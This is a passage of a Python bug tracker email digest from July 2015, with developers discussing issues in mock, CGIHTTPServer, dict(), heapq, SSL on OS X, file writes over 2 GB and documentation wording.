3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 02:23:14 2015 From: report at bugs.python.org (swanson) Date: Sat, 18 Jul 2015 00:23:14 +0000 Subject: [issue24650] Error in yield expression documentation In-Reply-To: <1437116019.06.0.685229534138.issue24650@psf.upfronthosting.co.za> Message-ID: <1437178994.8.0.964101313373.issue24650@psf.upfronthosting.co.za> swanson added the comment: Okay, interesting - I hadn't checked the glossary. I don't ultimately care what it's called as long as the documentation is clear and consistent. But for anyone just looking at the names of the classes and the class hierarchy, they'd come away saying, "A generator is a type of iterator," not "A generator is a type of function." (Functions can't even have subtypes.) If the docs are painting a different picture than the already existing reality, it seems like that would be confusing to anyone who doesn't already know how they work. (If you already know how something works, you don't really need the docs, so it's easy to think they're clearer than they really are.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 02:48:04 2015 From: report at bugs.python.org (Ethan Furman) Date: Sat, 18 Jul 2015 00:48:04 +0000 Subject: [issue24656] remove "assret" from mock error checking Message-ID: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za> New submission from Ethan Furman: Per Nick's suggestion here is the patch to remove the "assret" check, but leave the "assert" check in place. As Terry summarized: > 1. It is false that 'assret' is necessarily a typo. Someone might quite > legitimately use it as an attribute. Aside from the fact that it might be an > *intentional* misspelling to avoid a clash with 'assert', I found the following > on Google. > a. It appears to be both a (person) name (Turkey?) and a username. > b. It can be a contraction, abbreviation, or pair of acronym: ass-et > ret-ention, ass-istant ret-ired (?), and something in connection with > high-pressure oil lines. Python usage is not restricted to English- > speaking geeks. > > 2. It gives the impression that 'assret' is a legitimate alias for 'assert'. > See https://stackoverflow.com/questions/31382895/any-core-real-reference-to-assret-as-alias-to-assert > > If the doc is revised to counter this impression, then I predict that this will > join the list of Python warts and reasons to ridicule Python. > > 3. It violates Python design principles. To many, the beauty of Python is that > it is relatively clean and simple, and not filled with hundreds of nitpicky > exceptions and special cases. ---------- files: remove_assret.stoneleaf.01.patch keywords: patch messages: 246873 nosy: ethan.furman, michael.foord priority: normal severity: normal status: open title: remove "assret" from mock error checking versions: Python 3.5 Added file: http://bugs.python.org/file39939/remove_assret.stoneleaf.01.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 03:03:44 2015 From: report at bugs.python.org (David Steele) Date: Sat, 18 Jul 2015 01:03:44 +0000 Subject: [issue24241] webbrowser default browser detection and/or public API for _trylist. In-Reply-To: <1432042982.05.0.828874094042.issue24241@psf.upfronthosting.co.za> Message-ID: <1437181424.11.0.571661405238.issue24241@psf.upfronthosting.co.za> David Steele added the comment: Patch attached, to sort the desktop default browser to the top of _tryorder. ---------- keywords: +patch Added file: http://bugs.python.org/file39940/preferredbrowser.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 03:47:15 2015 From: report at bugs.python.org (Brian Cain) Date: Sat, 18 Jul 2015 01:47:15 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> Message-ID: <1437184035.09.0.484328402074.issue24655@psf.upfronthosting.co.za> Brian Cain added the comment: New patch. ---------- Added file: http://bugs.python.org/file39941/ssl_convert_2nd.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 03:49:11 2015 From: report at bugs.python.org (Brian Cain) Date: Sat, 18 Jul 2015 01:49:11 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> Message-ID: <1437184151.12.0.169118467989.issue24655@psf.upfronthosting.co.za> Brian Cain added the comment: Whoops, that's not right. Corrected. ---------- Added file: http://bugs.python.org/file39942/ssl_convert_3rd.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 04:49:36 2015 From: report at bugs.python.org (takayuki) Date: Sat, 18 Jul 2015 02:49:36 +0000 Subject: [issue24657] CGIHTTPServer module discard continuous '/' letters from params given by GET method. Message-ID: <1437187776.37.0.855244973055.issue24657@psf.upfronthosting.co.za> New submission from takayuki: I executed CGIHTTPServer and requested the following URI, "http://localhost:8000/cgi-bin/test.py?k=aa%2F%2Fbb" to pass "aa//bb" as argument "k", but test.py received "aa/bb". I looked in CGIHTTPServer.py and found _url_collapse_path function discards continuous slash letters even they are in the given parameters. ---------- components: Library (Lib) messages: 246877 nosy: takayuki priority: normal severity: normal status: open title: CGIHTTPServer module discard continuous '/' letters from params given by GET method. versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 04:59:28 2015 From: report at bugs.python.org (Eric O. LEBIGOT) Date: Sat, 18 Jul 2015 02:59:28 +0000 Subject: [issue24658] open().write() fails on 4 GB+ data (OS X) Message-ID: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> New submission from Eric O. LEBIGOT: On OS X, the Homebrew and MacPorts versions of Python 3.4.3 raise an exception when writing a 4 GB bytearray: >>> open('/dev/null', 'wb').write(bytearray(2**31-1)) 2147483647 >>> open('/dev/null', 'wb').write(bytearray(2**31)) Traceback (most recent call last): File "", line 1, in OSError: [Errno 22] Invalid argument This has an impact on pickle, in particular (http://stackoverflow.com/questions/31468117/python-3-can-pickle-handle-byte-objects-larger-than-4gb). ---------- components: Interpreter Core messages: 246878 nosy: lebigot priority: normal severity: normal status: open title: open().write() fails on 4 GB+ data (OS X) type: behavior versions: Python 3.4, Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 05:02:19 2015 From: report at bugs.python.org (Eric O. LEBIGOT) Date: Sat, 18 Jul 2015 03:02:19 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1437188539.72.0.999022909288.issue24658@psf.upfronthosting.co.za> Eric O. LEBIGOT added the comment: PS: I should have written "2 GB" bytearray (so this looks like a signed 32 bit integer issue). ---------- title: open().write() fails on 4 GB+ data (OS X) -> open().write() fails on 2 GB+ data (OS X) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 05:51:46 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 03:51:46 +0000 Subject: [issue24563] Encoding declaration: doc supported encodings In-Reply-To: <1435966719.35.0.908058462942.issue24563@psf.upfronthosting.co.za> Message-ID: <1437191506.96.0.825461538224.issue24563@psf.upfronthosting.co.za> Martin Panter added the comment: You can remove the ?.. XXX? line; I understand it is just like a TODO comment, and with this fixed it would no longer be relevant. I suggest putting the links next to the sentence that ends ?. . . the encoding name must be recognized by Python.? The links should be internal links, rather than hard-coded Internet links to another version of the documentation. See . The Standard Encodings section already has a label already set up for you to use :) ---------- nosy: +vadmium stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 06:00:54 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 18 Jul 2015 04:00:54 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> Message-ID: <1437192054.63.0.503686000486.issue24646@psf.upfronthosting.co.za> Ned Deily added the comment: And the tradeoff for supplying private copies of newer OpenSSL libs with the Pythons installed by python.org OS X installers is that we would then need to solve the CA management problem for all users of those Pythons. So far there hasn't been a good solution to that problem so we have elected to continue to use the least unattractive solution of continuing to use the Apple-supplied libs with the 10.6+ installer variants (Issue17128). Eventually, we will have to bite the bullet and come up with s better solution as Apple will likely eventually stop shipping OpenSSL libs altogether. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 06:02:06 2015 From: report at bugs.python.org (Donald Stufft) Date: Sat, 18 Jul 2015 04:02:06 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> Message-ID: <1437192126.54.0.746739994704.issue24646@psf.upfronthosting.co.za> Donald Stufft added the comment: For what it's worth, the El Capitan Beta's apparently don't ship with OpenSSL headers anymore though they do still ship with the dylibs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 06:05:13 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 18 Jul 2015 04:05:13 +0000 Subject: [issue24658] open().write() fails on 2 GB+ data (OS X) In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za> Message-ID: <1437192313.01.0.723302275182.issue24658@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- components: +Extension Modules, IO -Interpreter Core nosy: +haypo, ned.deily, ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 06:22:10 2015 From: report at bugs.python.org (Ned Deily) Date: Sat, 18 Jul 2015 04:22:10 +0000 Subject: [issue24646] Python accepts SSL certificate that should be rejected on OSX In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za> Message-ID: <1437193330.37.0.459137852753.issue24646@psf.upfronthosting.co.za> Ned Deily added the comment: > For what it's worth, the El Capitan Beta's apparently don't ship with > OpenSSL headers anymore though they do still ship with the dylibs. Hmm, I had tested installing existing python.org binary releases with the first DPs of 10.11 and I *thought* I had tested building from source, as well. But, yes, it appears that the headers are no longer there, at least on the most recent DP I have installed. I'm traveling and essentially "off-the-net" for another week but I will take a closer look at the situation then. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 06:23:21 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 04:23:21 +0000 Subject: [issue24563] Encoding declaration: doc supported encodings In-Reply-To: <1435966719.35.0.908058462942.issue24563@psf.upfronthosting.co.za> Message-ID: <1437193401.44.0.419205496316.issue24563@psf.upfronthosting.co.za> Martin Panter added the comment: PEP 263 doesn?t say exactly what encodings are supported. It mentions Shift JIS is supported, but UTF-16 is not. Only UTF-8 is allowed if the file starts with a UTF-8 BOM. I guess many of the Python-specific text encodings from the second section may be supported. Probably any text encoding in general, as long as the first one or two lines can ?rougly? be parsed in ASCII. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 07:07:52 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 05:07:52 +0000 Subject: [issue24536] os.pipe() should return a structsequence (or namedtuple.) In-Reply-To: <1435648757.18.0.0558265298673.issue24536@psf.upfronthosting.co.za> Message-ID: <1437196072.64.0.487392046134.issue24536@psf.upfronthosting.co.za> Martin Panter added the comment: The original Python-ideas thread: If you want shorter field names, how about just r and w (as they are currently documented)? os.write(our_pipe.w, b"data") os.read(our_pipe.r, 1024) ?Input? and ?output? would also work for me (though I am also happy with read, read_fd, etc). However it does seem a bit novel; in my experience people tend to say pipes have read and write ends, not inputs and outputs. os.write(our_pipe.input, b"data") os.read(our_pipe.output, 1024) ---------- nosy: +vadmium type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 07:08:40 2015 From: report at bugs.python.org (Alex Walters) Date: Sat, 18 Jul 2015 05:08:40 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <1437196120.76.0.173551995434.issue24642@psf.upfronthosting.co.za> Alex Walters added the comment: on 2.5, I figured the answer would be along those lines. for 2, Linking to the documentation at least would be helpful (or otherwise indicating that there are arguments that are not listed and are in the docs) if the arguments cant be listed reasonably easily. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 07:31:09 2015 From: report at bugs.python.org (Christian Barcenas) Date: Sat, 18 Jul 2015 05:31:09 +0000 Subject: [issue5945] PyMapping_Check returns 1 for lists In-Reply-To: <1241560036.33.0.817766851688.issue5945@psf.upfronthosting.co.za> Message-ID: <1437197469.55.0.935257327312.issue5945@psf.upfronthosting.co.za> Changes by Christian Barcenas : ---------- versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 08:39:53 2015 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 18 Jul 2015 06:39:53 +0000 Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError) In-Reply-To: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za> Message-ID: <1437201593.53.0.571391444292.issue24654@psf.upfronthosting.co.za> Yury Selivanov added the comment: Fixed in https://hg.python.org/peps/rev/7ad183c1d9be I'll quote the commit message here: pep-492: Update benchmark code Since coroutines now have a distinct type, they do not support iteration. Instead of doing 'list(o)', we now do 'o.send(None)' until StopIteration. Note, that the updated timings are due to the difference of doing a loop in Python vs doing it in C ('list()' vs 'while True'). Marcin and Terry, thanks for reporting this! ---------- resolution: -> fixed stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 09:13:20 2015 From: report at bugs.python.org (Ilya Kulakov) Date: Sat, 18 Jul 2015 07:13:20 +0000 Subject: [issue3616] finalizer In-Reply-To: <1219222858.65.0.105309255151.issue3616@psf.upfronthosting.co.za> Message-ID: <1437203600.52.0.819827971484.issue3616@psf.upfronthosting.co.za> Ilya Kulakov added the comment: This issue is marked as closed as a duplicate without a reference to the original task. I still have this issues on Python 3.4.2, on Windows when shutil.rmtree fails to ---------- nosy: +Ilya.Kulakov title: shutil.rmtree() fails on invalid filename -> finalizer _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 09:43:06 2015 From: report at bugs.python.org (STINNER Victor) Date: Sat, 18 Jul 2015 07:43:06 +0000 Subject: [issue3616] finalizer In-Reply-To: <1437203600.52.0.819827971484.issue3616@psf.upfronthosting.co.za> Message-ID: STINNER Victor added the comment: Hi, the issue was fixed in Python 3. On Windows, you must use Unicode. Otherwise, you can get errors like that. On other platforms, Unicode is now also the best choice on Python 3. See the second message for the superseder issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 10:55:00 2015 From: report at bugs.python.org (Christian Barcenas) Date: Sat, 18 Jul 2015 08:55:00 +0000 Subject: [issue24659] dict() built-in fails on iterators with a "keys" attribute Message-ID: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za> New submission from Christian Barcenas: I noticed an inconsistency today between the dict() documentation vs. implementation. The documentation for the dict() built-in [1] states that the function accepts an optional positional argument that is either a mapping object [2] or an iterable object [3]. Consider the following: import collections.abc class MyIterable(object): def __init__(self): self._data = [('one', 1), ('two', 2)] def __iter__(self): return iter(self._data) class MyIterableWithKeysMethod(MyIterable): def keys(self): return "And now for something completely different" class MyIterableWithKeysAttribute(MyIterable): keys = "It's just a flesh wound!" assert issubclass(MyIterable, collections.abc.Iterable) assert issubclass(MyIterableWithKeysMethod, collections.abc.Iterable) assert issubclass(MyIterableWithKeysAttribute, collections.abc.Iterable) assert not issubclass(MyIterable, collections.abc.Mapping) assert not issubclass(MyIterableWithKeysMethod, collections.abc.Mapping) assert not issubclass(MyIterableWithKeysAttribute, collections.abc.Mapping) # OK assert dict(MyIterable()) == {'one': 1, 'two': 2} # Traceback (most recent call last): # File "", line 1, in # TypeError: 'MyIterableWithKeysMethod' object is not subscriptable assert dict(MyIterableWithKeysMethod()) == {'one': 1, 'two': 2} # Traceback (most recent call last): # File "", line 1, in # TypeError: attribute of type 'str' is not callable assert dict(MyIterableWithKeysAttribute()) == {'one': 1, 'two': 2} The last two assertions should not fail, and it appears that the offending code can be found in Objects/dictobject.c's dict_update_common: else if (arg != NULL) { _Py_IDENTIFIER(keys); if (_PyObject_HasAttrId(arg, &PyId_keys)) result = PyDict_Merge(self, arg, 1); else result = PyDict_MergeFromSeq2(self, arg, 1); } PyDict_Merge is used to merge key-value pairs if the optional parameter is a mapping, and PyDict_MergeFromSeq2 is used if the parameter is an iterable. My immediate thought was to substitute the _PyObject_HasAttrId call with PyMapping_Check which I believe would work in 2.7, but due to #5945 I don't think this fix would work in 3.x. Thoughts? [1] https://docs.python.org/3.6/library/stdtypes.html#dict [2] https://docs.python.org/3.6/glossary.html#term-mapping [3] https://docs.python.org/3.6/glossary.html#term-iterable ---------- assignee: docs at python components: Documentation, Interpreter Core messages: 246890 nosy: christian.barcenas, docs at python priority: normal severity: normal status: open title: dict() built-in fails on iterators with a "keys" attribute type: behavior versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 10:57:27 2015 From: report at bugs.python.org (Stefan Behnel) Date: Sat, 18 Jul 2015 08:57:27 +0000 Subject: [issue24654] PEP 492 - example benchmark doesn't work (TypeError) In-Reply-To: <1437144432.53.0.243847833989.issue24654@psf.upfronthosting.co.za> Message-ID: <1437209847.73.0.100429547559.issue24654@psf.upfronthosting.co.za> Stefan Behnel added the comment: Thanks for updating the micro-benchmark. Just FYI (and sorry for hijacking this ticket), I ran it through Cython. Here are the numbers: Cython 0.23 (latest master) binary(21) * 3: total 1.609s abinary(21) * 3: total 1.514s CPython 3.5 (latest branch) binary(21) * 3: total 4.653s abinary(21) * 3: total 4.750s The low factor between the two shows (IMO) that using a type slot function for await was a very good idea. Streamlining FetchStopIteration might bring another bit. I also tried the same thing with alternating recursively between the Python and Cython implementation by changing it to l = await cy_abinary(n - 1) r = await py_abinary(n - 1) binary(21) * 3: total 3.835s abinary(21) * 3: total 3.952s So even the slow fallback paths seem pretty efficient on both sides. ---------- nosy: +scoder _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 11:07:29 2015 From: report at bugs.python.org (Christian Barcenas) Date: Sat, 18 Jul 2015 09:07:29 +0000 Subject: [issue24659] dict() built-in fails on iterators with a "keys" attribute In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za> Message-ID: <1437210449.62.0.937797780613.issue24659@psf.upfronthosting.co.za> Christian Barcenas added the comment: Should have clarified that the specific issue that is outlined in #5945 is that PyMapping_Check returns 1 on sequences (e.g. lists), which would mean something like x = [('one', 1), ('two', 2)]; dict(x) would fail in 3.x because x would be incorrectly evaluated as a mapping rather than as an iterable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 13:45:44 2015 From: report at bugs.python.org (R. David Murray) Date: Sat, 18 Jul 2015 11:45:44 +0000 Subject: [issue24659] dict() built-in fails on iterators with a "keys" attribute In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za> Message-ID: <1437219944.01.0.788852958544.issue24659@psf.upfronthosting.co.za> R. David Murray added the comment: Well, this is an example of duck typing, something we commonly do in Python. I'm not convinced this is a bug. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 14:00:50 2015 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Sat, 18 Jul 2015 12:00:50 +0000 Subject: [issue24660] Heapq + functools.partial : TypeError: unorderable types Message-ID: <1437220850.78.0.931988105122.issue24660@psf.upfronthosting.co.za> New submission from ???? ?????????: >>> import heapq >>> from functools import partial >>> qwe = [(0, lambda x: 42), (0, lambda x: 56)] >>> heapq.heapify(qwe) >>> >>> qwe = [(0, partial(lambda x: 42)), (0, partial(lambda x: 56))] >>> heapq.heapify(qwe) Traceback (most recent call last): File "/usr/lib/python3.4/code.py", line 90, in runcode exec(code, self.locals) File "", line 1, in TypeError: unorderable types: functools.partial() < functools.partial() So it is not realiable to use heapq if element of the array is (int, callable) ---------- components: Library (Lib) messages: 246894 nosy: mmarkk priority: normal severity: normal status: open title: Heapq + functools.partial : TypeError: unorderable types type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 14:10:40 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 12:10:40 +0000 Subject: [issue23883] __all__ lists are incomplete In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za> Message-ID: <1437221440.03.0.0744418319037.issue23883@psf.upfronthosting.co.za> Martin Panter added the comment: That raiseExecptions thing looks like a typo to me. The code should probably be monkey patching the module variable, and restoring it after the test. Then you wouldn?t need to add your extra typoed version to the blacklist. In the logging module, I reckon raiseExceptions (non-typoed) should actually be added to __all__. It is documented under Handler.handleError(). pickletools.OpcodeInfo: It is briefly mentioned as the type of the first item of genops(). I don?t have a strong opinion, but I tended to agree with your previous patch which added it to __all__. threading.ThreadError: It is not documented, but it was already in __all__. I think it should be restored, in case someone?s code is relying on it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 14:10:41 2015 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Sat, 18 Jul 2015 12:10:41 +0000 Subject: [issue24660] Heapq + functools.partial : TypeError: unorderable types In-Reply-To: <1437220850.78.0.931988105122.issue24660@psf.upfronthosting.co.za> Message-ID: <1437221441.28.0.975712847119.issue24660@psf.upfronthosting.co.za> ???? ????????? added the comment: Exactly the same with bound class methods ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 14:32:51 2015 From: report at bugs.python.org (Josh Rosenberg) Date: Sat, 18 Jul 2015 12:32:51 +0000 Subject: [issue24660] Heapq + functools.partial : TypeError: unorderable types In-Reply-To: <1437220850.78.0.931988105122.issue24660@psf.upfronthosting.co.za> Message-ID: <1437222771.54.0.425029341578.issue24660@psf.upfronthosting.co.za> Josh Rosenberg added the comment: Neither of those example should work (and neither do on my 3.4.0 installation). Heaps must have sortable components; you could only include callables (which are not sortable) in the tuples being sorted if you guarantee that some element(s) before the callable will ensure the elements are ordered without falling back on comparing the callable members. This isn't a bug; heapq.heapify() *should* fail in this case, and in any case where sorted() would fail due to uncomparable objects. ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 15:00:10 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 13:00:10 +0000 Subject: [issue24660] Heapq + functools.partial : TypeError: unorderable types In-Reply-To: <1437220850.78.0.931988105122.issue24660@psf.upfronthosting.co.za> Message-ID: <1437224410.92.0.0862015977593.issue24660@psf.upfronthosting.co.za> Martin Panter added the comment: I can?t compare non-partial functions either. How did your first heapify() call succeed? Python 3.4.3 (default, Mar 25 2015, 17:13:50) [GCC 4.9.2 20150304 (prerelease)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import heapq >>> from functools import partial >>> qwe = [(0, lambda x: 42), (0, lambda x: 56)] >>> heapq.heapify(qwe) Traceback (most recent call last): File "", line 1, in TypeError: unorderable types: function() < function() >>> (lambda x: 42) < (lambda x: 56) Traceback (most recent call last): File "", line 1, in TypeError: unorderable types: function() < function() This is not a problem specific to ?heapq?. This is how function objects, lambda objects, bound class methods, etc, are meant to work. Python doesn?t implement ordering comparisons for them. This is kind of explained at . See Issue 12067 if you want to help improve this section of the documentation. If you don?t care about the order, perhaps you could ensure the first item in each tuple is unique, or add a dummy item in the middle that ensures the tuples have a definite order: >>> (0, 0, lambda x: 42) < (0, 1, lambda x: 56) True ---------- nosy: +vadmium resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 15:06:24 2015 From: report at bugs.python.org (Martin Panter) Date: Sat, 18 Jul 2015 13:06:24 +0000 Subject: [issue24659] dict() built-in fails on iterators with a "keys" attribute In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za> Message-ID: <1437224784.19.0.528207332189.issue24659@psf.upfronthosting.co.za> Martin Panter added the comment: It is at least an omission from the documentation. The glossary refers to the Mapping ABC. From Christian?s point of view, the quack of an iterator with just a ?keys? attribute sounds more like an iterator than a mapping. I think the documentation for the dict() constructor should say how to ensure the iterable and mapping modes are triggered. Perhaps dict.update() should also, because it appears to also treat non-dict() ?mappings? differently to plain iterators. ---------- nosy: +vadmium _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 16:04:01 2015 From: report at bugs.python.org (John S) Date: Sat, 18 Jul 2015 14:04:01 +0000 Subject: [issue24661] CGIHTTPServer: premature unescaping of query string Message-ID: <1437228241.83.0.784813490758.issue24661@psf.upfronthosting.co.za> New submission from John S: I created a simple CGI script that outputs the query string passed to it: ``` #!/usr/bin/env python import os print 'Content-Type: text/html\n\n' print os.environ['QUERY_STRING'] ``` I saved it as cgi-bin/test.cgi and made it executable. I then ran `python -m CGIHTTPModule` and opened http://localhost:8000/cgi-bin/test.cgi?H%26M in a web browser. The output was H&M when it should have been H%26M I tried with Python 2.7.5, 2.7.3 and 2.6.6 and they all correctly output H%26M. The test.cgi file is attached. ---------- components: Library (Lib) files: test.cgi messages: 246900 nosy: johnseman priority: normal severity: normal status: open title: CGIHTTPServer: premature unescaping of query string versions: Python 2.7 Added file: http://bugs.python.org/file39943/test.cgi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 16:38:46 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 18 Jul 2015 14:38:46 +0000 Subject: [issue23573] Avoid redundant allocations in str.find and like In-Reply-To: <1425390810.95.0.0960267231917.issue23573@psf.upfronthosting.co.za> Message-ID: <1437230326.67.0.771830012396.issue23573@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Here is a patch that restores optimization of bytes.rfind() and bytearray.rfind() with 1-byte argument on Linux (it also reverts bc1a178b3bc8). ---------- nosy: +christian.heimes resolution: fixed -> stage: resolved -> patch review Added file: http://bugs.python.org/file39944/issue23573_bytes_rfind_memrchr.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 17:17:22 2015 From: report at bugs.python.org (Gabi Davar) Date: Sat, 18 Jul 2015 15:17:22 +0000 Subject: [issue10845] test_multiprocessing failure under Windows In-Reply-To: <1294309581.41.0.731804987161.issue10845@psf.upfronthosting.co.za> Message-ID: <1437232642.98.0.725756371754.issue10845@psf.upfronthosting.co.za> Changes by Gabi Davar : ---------- nosy: +Gabi.Davar _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 17:19:21 2015 From: report at bugs.python.org (Ethan Furman) Date: Sat, 18 Jul 2015 15:19:21 +0000 Subject: [issue24656] remove "assret" from mock error checking In-Reply-To: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za> Message-ID: <1437232761.51.0.825698913395.issue24656@psf.upfronthosting.co.za> Ethan Furman added the comment: Better patch: fixes NEWS, tests, and docs, as well as the code. ---------- Added file: http://bugs.python.org/file39945/remove_assret.stoneleaf.02.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 17:24:24 2015 From: report at bugs.python.org (Agniva Roychowdhury) Date: Sat, 18 Jul 2015 15:24:24 +0000 Subject: [issue24662] While condition not satisfied embarrassingly Message-ID: <1437233064.01.0.466148269845.issue24662@psf.upfronthosting.co.za> New submission from Agniva Roychowdhury: A simple while loop that prints a variable 'test' (initialized by 0.0 and incremented by 0.1 in the loop) with a condition test<1.0 prints values UPTO 1.0. It is a serious error. Please check attached file and the output. ---------- components: Interpreter Core files: python1.py messages: 246903 nosy: Agniva Roychowdhury priority: normal severity: normal status: open title: While condition not satisfied embarrassingly type: behavior versions: Python 3.6 Added file: http://bugs.python.org/file39946/python1.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 17:29:02 2015 From: report at bugs.python.org (Agniva Roychowdhury) Date: Sat, 18 Jul 2015 15:29:02 +0000 Subject: [issue24662] While condition not satisfied embarrassingly In-Reply-To: <1437233064.01.0.466148269845.issue24662@psf.upfronthosting.co.za> Message-ID: <1437233342.98.0.470184665205.issue24662@psf.upfronthosting.co.za> Changes by Agniva Roychowdhury : ---------- versions: +Python 2.7 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 17:34:09 2015 From: report at bugs.python.org (Ezio Melotti) Date: Sat, 18 Jul 2015 15:34:09 +0000 Subject: [issue24662] While condition not satisfied embarrassingly In-Reply-To: <1437233064.01.0.466148269845.issue24662@psf.upfronthosting.co.za> Message-ID: <1437233649.23.0.447673944142.issue24662@psf.upfronthosting.co.za> Ezio Melotti added the comment: This is expected: >>> .1+.1+.1+.1+.1+.1+.1+.1+.1+.1 0.9999999999999999 See https://docs.python.org/3/tutorial/floatingpoint.html for further info. ---------- nosy: +ezio.melotti resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 18:30:12 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 18 Jul 2015 16:30:12 +0000 Subject: [issue24642] Will there be an MSI installer? In-Reply-To: <1437036229.97.0.552879737445.issue24642@psf.upfronthosting.co.za> Message-ID: <20150718163008.14702.87995@psf.io> Roundup Robot added the comment: New changeset 9f60ec6d6586 by Steve Dower in branch '3.5': Issue #24642: Improves help text displayed in the Windows installer. https://hg.python.org/cpython/rev/9f60ec6d6586 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 19:28:16 2015 From: report at bugs.python.org (Filip Haglund) Date: Sat, 18 Jul 2015 17:28:16 +0000 Subject: [issue24663] ast.literal_eval does not handle empty set literals Message-ID: <1437240496.13.0.316743645205.issue24663@psf.upfronthosting.co.za> New submission from Filip Haglund: ast.literal_eval handles sets, if they contain at least one value, but does not handle empty ones, which are represented as `set()` since `{}` is already used by dicts. ---------- components: Library (Lib) messages: 246906 nosy: Filip Haglund priority: normal severity: normal status: 